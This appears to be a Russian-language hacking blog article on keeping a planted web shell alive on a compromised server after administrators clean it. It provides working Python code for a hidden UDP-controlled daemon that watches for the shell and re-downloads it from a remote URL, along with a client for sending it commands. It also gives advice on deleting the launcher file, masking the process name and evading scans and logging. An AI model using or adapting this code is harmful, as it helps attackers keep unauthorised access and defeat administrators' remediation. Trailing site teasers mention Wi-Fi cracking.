Иногда возникают ситуации, когда был залит web shell на хороший хост, с которого ой как не хочется уходить, тогда первым делом, конечно, надо хорошо закрепиться на сервере, создать условия для максимального затруднения обнаружения шелла (и в том числе для ав) в отдельном файле или уже существующем, а это первым делом обфускация, ну и несколько других моментов надо учитывать (некоторые можно посмотреть с нашей первой статье о web shell).
Но порой даже хорошие методы запрятывания могут быть сведены на «нет» тотальной чисткой и переустановкой движка. В таком случае надо иметь дополнительную подстраховку, которая, конечно тоже может быть ликвидирована внимательным администратором, но тем не менее она все равно хорошо прикрывает тылы и дает определенную вероятность на восстановление web shell.
Суть этого нехитрого метода заключается в загрузке определенного скрипта в память, чтобы он раз в некоторое время проверял наличие web shell и при его отсутствии встраивал его заново (или грузил временный, через который мы бы снова быстро встраивали основной). Этот метод теряет свое значение, когда происходит перезагрузка сервера (а это событие для серверов достаточно редкое) или админ сам обнаруживает странный процесс и убивает его, но с этим можно кое-что сделать, чтобы усложнить задачу (уйдет в конце).
[ad name=»Responbl»]
Скрипт можно реализовать на большинстве языков, интерпретаторы которых установлены на сервере (можно и спецом на C, но легче на скриптовом), на bash’е и пр., исключением в большинстве случаев будет PHP, так как у него обычно есть ограничения на длительность выполнения, которое конечно можно обойти самозапуском, но это добавляет сложности и вероятности к обнаружению админом, так что лучше им пренебречь.
В данной статье будет приведен пример реализации задумки на питоне и сделан готовый, но не полнофункциональный скрипт (функционал всегда можно расширить самостоятельно под нужные цели).
Схема работы.
Тут можно пойти двумя способами:
У первого способа из преимуществ, наверное, только простота реализации, а из недостатков — повышенная вероятность детекта через листинг процессов (так как будут видны параметры запуска), статичность (заточен строго под определенную конфигурацию). Вторая же реализация лишена тех недостатков и будет способна менять свои параметры налету, получая удаленные команды, но придется написать клиента и сервер.
Отдельно следует заметить, что после запуска такого скрипта, его файл надо удалять, чтобы не было следов и причин начать прочесывать процессы.
Теперь более подробно о деталях. Алгоритм работы (серверной, основной части) может быть следующим:
Детали: работать будет на UDP порту (чтобы не сильно светился при скане nmap’ом, ну и вообще без лишних хендшейков для меньшего засвета, если траф логируется), настройки будет хранить в памяти, при получении команды будет их менять динамически (если команда корректна), отвечать об успешности, будем проверять как наличие параметров для проверки и восстановления файлов, так и сами файлы и реагировать на эти ситуации. Параметрами будут — текстовая сигнатура, которую надо искать во всех файлах и папках указанного пути (это часть кода шелла), сам путь, где искать, линк на скачивание нового шелла и путь, куда его сохранять (встраивание в другие файлы можно реализовать самостоятельно при желании).
[ad name=»Responbl»]
У клиентской же логика будет заключаться в простом в получении определенного формата команд и отсылки их на сервер и отображении ответа от последнего.
Серверная часть.
Для возможности запуска в отдельном потоке реализуем класс, через который потом и будем запускать:
class RecieveMsg(threading.Thread): def __init__(self, addr): #конструктор, в котором обязательно указывать переменную для инициализации сокета threading.Thread.__init__(self) self.udp_socket = socket(AF_INET, SOCK_DGRAM) self.udp_socket.bind(addr) self.addr = None
def run(self): global opts, interval #ниже бесконечный цикл, ожадающий данных, складирующий их в переменную-словарь и вызывающий функцию обработки while True: data, addr = self.udp_socket.recvfrom(8192) #расчитано на сообщение длиной не более 8KB, при желании можно убрать лимиты, усложнив алгоритм self.addr = addr if not data: continue params_dict = urlparse.parse_qsl(data) params = dict(params_dict) for k in params.keys(): #раскладываем полученные параметры, динамически меняя конфиг скрипта opts[k] = params[k]; if hasattr(opts, 'interval') and opts['interval'].isdigit(): interval = opts['interval'] # отдельная обработка значения interval self.udp_socket.sendto(b'ok', self.addr) self.udp_socket.close()
Для проверки наличия шелла в файлах и реагирования, если он отсутствует лучше написать 2 отедльные функции, чтобы потом было легче допиливать:
def checkShell(): #функция для проверки наличия шелла по текстовой сигнатуре, которая передается с другими данными path = opts['path'] sgntr = opts['sgntr'] if not os.path.isdir(path): return False paths = [os.path.join(path,fn) for fn in next(os.walk(path))[2]] #для проверки беруться все файлы из папки, в которой надо проверять наличие шелла (для верности) exists = False for p in paths: #сама проверка содержимого каждого файла if sgntr in open(p).read(): exists = True break return exists def downloadShell(): #функция для скачивания и сохранения шелла в нужное место url = opts['loadurl'] savePath = opts['saveto'] if os.path.isdir(savePath): savePath = savePath + "/lib.php" #если вместо полного пути с именем шелла был подсунут путь к директории, тогда шеллу дается дефолтное имя lib.php savePath = savePath.replace("//", "/") #на всякий случай удаляем двойные слеши response = urllib2.urlopen(url) #получаем содержимое шелла data = response.read() shell = open(savePath, 'w+') shell.write(data) #сохраняем его (еще можно конечно ему через touch дату модификации поставить, но это оставлю на доработку желающим)
Ну и надо сделать саму функцию, которая будет реализовывать саму логику и вызываться с перерывом:
def startChecking(): rparams = ["path", "sgntr", "saveto", "loadurl"] #обязательные параметры, на наличие которых переменная-конфиг будет проверяться каждый раз for rp in rparams: #сама проверка в цикле (чтобы можно было потом этих обязательных переменных еще добавить без изменения логики) if not rp in opts.keys(): return #если хоть одного параметра нет, возвращаемся из функции exists = checkShell() #вызываем проверку на наличие шелла if not exists: downloadShell() #если предыдущий вызов показал, что шелл отсутствует, то вызываем фукнцию для его закачки
Вызов этой функции желательно организовать таким образом, чтобы выброс любого эксцепшена не убил скрипт (так как снова запустить мы его не всегда сможем, если, например, шелл был удален незадолго до этого):
if __name__ == '__main__': srv = RecieveMsg(addr) #создаем поток для получения и обработки данных srv.start() while True: #цикл с вызова той управляющей фукнции через блок try-except try: startChecking() except BaseException: pass #просто переходим к следующей итерации, в случае эксцепшена time.sleep(interval) #ждем установленное количество секунд
Клиентская часть.
Тут вообще просто, вот функция для отправки данных, получения и отображения ответа:
def sendData(data): if not data : udp_socket.close() sys.exit(1) data = str.encode(data) #кодирование udp_socket.sendto(data, addr) data = bytes.decode(data) #lдекодирование ответа data = udp_socket.recvfrom(2048) #ответ должен умещаться в 2КB, можно изменить до большего print(data)
Вот сам код для ввода команд и передачи в эту функцию
while True: data = raw_input('command> ') if data: sendData(data)
При запуске клиента, надо установить адрес серверной части и номер порта (ключе см. через —help). Синтаксис команд для отсылки на сервер очень прост и описан при запуске клиентского скрипта с примерром, так что повтоярть его тут не буду.
Запуск.
Отдельно хотелось бы заметить, что запускать серверную часть лучше все таки определенным образом, чтобы он не слишком «светился» при мониторинге процессов через top или какие-нибудь аналоги. Лучше:
[ad name=»Responbl»]
Так даже ключевое слово «python» должно пропасть при именовании и описании процесса скрипта.
Итог.
На выходе получили клиент-серверную связку из двух маленьких скритпов, которые должны по умолчанию запускаться на большинстве *nix системах (где обычно по умаолчанию стоит python, что будет достаточным условием, так как в скриптах исопльзовались стандартные модули), которые обладают минимальным функционалом для достижения поставленной цели, и которые с легкостью можно дорабатывать под свои конкретные нужды.
Рабочие файлы проекта можно скачать здесь
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…